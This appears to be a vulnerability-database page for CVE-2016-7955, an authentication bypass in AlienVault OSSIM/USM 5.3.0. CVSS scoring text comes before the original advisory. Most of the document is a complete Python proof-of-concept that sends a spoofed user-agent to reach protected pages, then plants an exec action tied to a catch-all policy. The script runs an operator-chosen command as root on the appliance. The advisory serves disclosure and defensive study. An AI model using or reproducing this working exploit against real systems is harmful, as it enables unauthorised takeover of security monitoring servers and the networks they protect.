The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Alienvault OSSIM / USM 5.3.0 Authentication BypassDetails
=======
Product: Alienvault OSSIM/USM
Vulnerability: Authentication Bypass
Author: Peter Lapp, lappsec () gmail com
CVE: CVE-2016-7955
Vulnerable Versions: <=5.3.0
Fixed Version: 5.3.1
Vulnerability Details
=====================
This vulnerability allows remote attackers to bypass authentication
requirements on vulnerable installations of AlienVault Unified
Security Manager. Authentication is not required to exploit this
vulnerability.
The specific flaw exists within the logcheck function in session.inc.
By providing a specific value as a user-agent, an attacker can bypass
authentication to a number of pages. In addition to viewing
information, it's possible to modify the application and achieve
arbitrary code execution as root.
References
==========
http://www.zerodayinitiative.com/advisories/ZDI-16-517/
https://www.alienvault.com/forums/discussion/7765/alienvault-v5-3-1-hotfix
POC
====
The python script below was cobbled together to demonstrate the use of
this vulnerability to gain command execution as root. The script uses
the vulnerability to retrieve the engine ID(CTX), create an email
action, change the email action to an exec action with the payload,
and then creates a policy that triggers that action on ANY event.
It will work against any USM instance without a hitch, but will only
work against OSSIM if there is some sort of action already created.
Because of the way OSSIM handles engine ID's and the lack of a
session, it's not possible to retrieve the engine ID required to
create an action.
This is just a POC so use at your own risk.
import urllib2
import urllib
from bs4 import BeautifulSoup
import ssl
import re
import random, string
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
headers = {'User-Agent' : 'AV Report Scheduler'}
def randomstring():
return ''.join(random.choice(string.lowercase) for i in range(6))
def getengineid(ip):
url = 'https://'+ip+'/ossim/av_asset/network/views/net_form.php'
request = urllib2.Request(url, None, headers)
response = urllib2.urlopen(request, context=ctx)
getengine = response.read()
response.close()
soup = BeautifulSoup(getengine)
findid = soup.find(id="sboxs1")
engineid = findid["class"][-1]
print 'Engine ID: ' + engineid.upper()
return engineid.upper()
def createaction(engineid,ip):
url = 'https://'+ip+'/ossim/action/modifyactions.php'
values = {'id':'',
'action':'new',
'ctx':engineid,
'old_name':'',
'action_name':actionname,
'old_descr':'',
'descr':'hacked',
'action_type':'3',
'only':'on',
'cond':'True',
'email_from':'',
'email_to':'email;email;email',
'email_subject':'',
'email_message':'',
'exec_command':'',
'transferred_user':'admin',
'transferred_entity':''}
data = urllib.urlencode(values)
request = urllib2.Request(url, data, headers)
response = urllib2.urlopen(request, context=ctx)
return
def getactionid(ip,pro):
url = 'https://'+ip+'/ossim/action/getaction.php'
request = urllib2.Request(url, None, headers)
response = urllib2.urlopen(request, context=ctx)
getengine = response.read()
response.close()
soup = BeautifulSoup(getengine)
if pro == 'y':
rows = soup.findAll('row')
theid = [r.get('id') for r in rows if
r.findAll(text=re.compile(actionname))][0]
else:
theid = soup.findAll('row')[-1].get('id')
print 'Action ID: ' + theid.upper()
return theid.upper()
def changeaction(ip, engineid, actionid, command):
url = 'https://'+ip+'/ossim/action/modifyactions.php'
values = {'id':actionid,
'ctx':engineid,
'action':'edit',
'old_name':actionname,
'action_name':actionname,
'old_descr':'hacked',
'descr':'hacked',
'action_type':'2',
'only':'on',
'cond':'True',
'email_from':'',
'email_to':'email;email;email',
'email_subject':'',
'email_message':'',
'exec_command':command,
'transferred_user':'admin',
'transferred_entity':''}
data = urllib.urlencode(values)
request = urllib2.Request(url, data, headers)
response = urllib2.urlopen(request, context=ctx)
return
def createpolicy(ip, engineid, actionid):
url = 'https://'+ip+'/ossim/policy/newpolicy.php'
values = {'descr':randomstring(),
'active':'1',
'group':'00000000000000000000000000000000',
'ctx':engineid,
'order':'0',
'action':'new',
'sources[]':'00000000000000000000000000000000',
'filterc':'',
'dests[]':'00000000000000000000000000000000',
'filterd':'',
'portsrc[]':'0',
'portdst[]':'0',
'plug_type':'0',
'plugins[0]':'on',
'tax_cat':'0',
'tax_subc':'0',
'mboxs[]':'00000000000000000000000000000000',
'rep_act':'0',
'rep_sev':'1',
'rep_rel':'1',
'rep_dir':'1',
'rep_act':'0',
'ev_sev':'1',
'ev_rel':'1',
'tzone':'US/Central',
'date_type':'1',
'begin_hour':'0',
'begin_minute':'0',
'begin_day_week':'1',
'begin_day_month':'1',
'begin_month':'1',
'end_hour':'23',
'end_minute':'59',
'end_day_week':'7',
'end_day_month':'31',
'end_month':'12',
'actions[]':actionid,
'sim':'1',
'priority':'-1',
'qualify':'1',
'correlate':'1',
'cross_correlate':'1',
'store':'1',
'sem':'1',
'sign':'0',
'resend_events':'0'}
data = urllib.urlencode(values)
request = urllib2.Request(url, data, headers)
response = urllib2.urlopen(request, context=ctx)
return
def reloadpolicy(ip):
url = 'https://'+ip+'/ossim/conf/reload.php?what=policies&back=..%2Fpolicy%2Fpolicy.php'
request = urllib2.Request(url, None, headers)
response = urllib2.urlopen(request, context=ctx)
print 'Policies reloaded'
print '''Alienvault USM/OSSIM Authentication Bypass and RCE by Peter
Lapp(lappsec)'''
host = raw_input('Enter USM/OSSIM IP Address: ')
command = raw_input('Enter the command you want executed: ')
pro = raw_input('Is this the pro version? (y/n): ')
engid = getengineid(host)
actionname = randomstring()
if pro == 'y':
createaction(engid, host)
actid = getactionid(host,pro)
changeaction(host,engid,actid,command)
createpolicy(host,engid,actid)
reloadpolicy(host)
print 'Happy hacking ;)'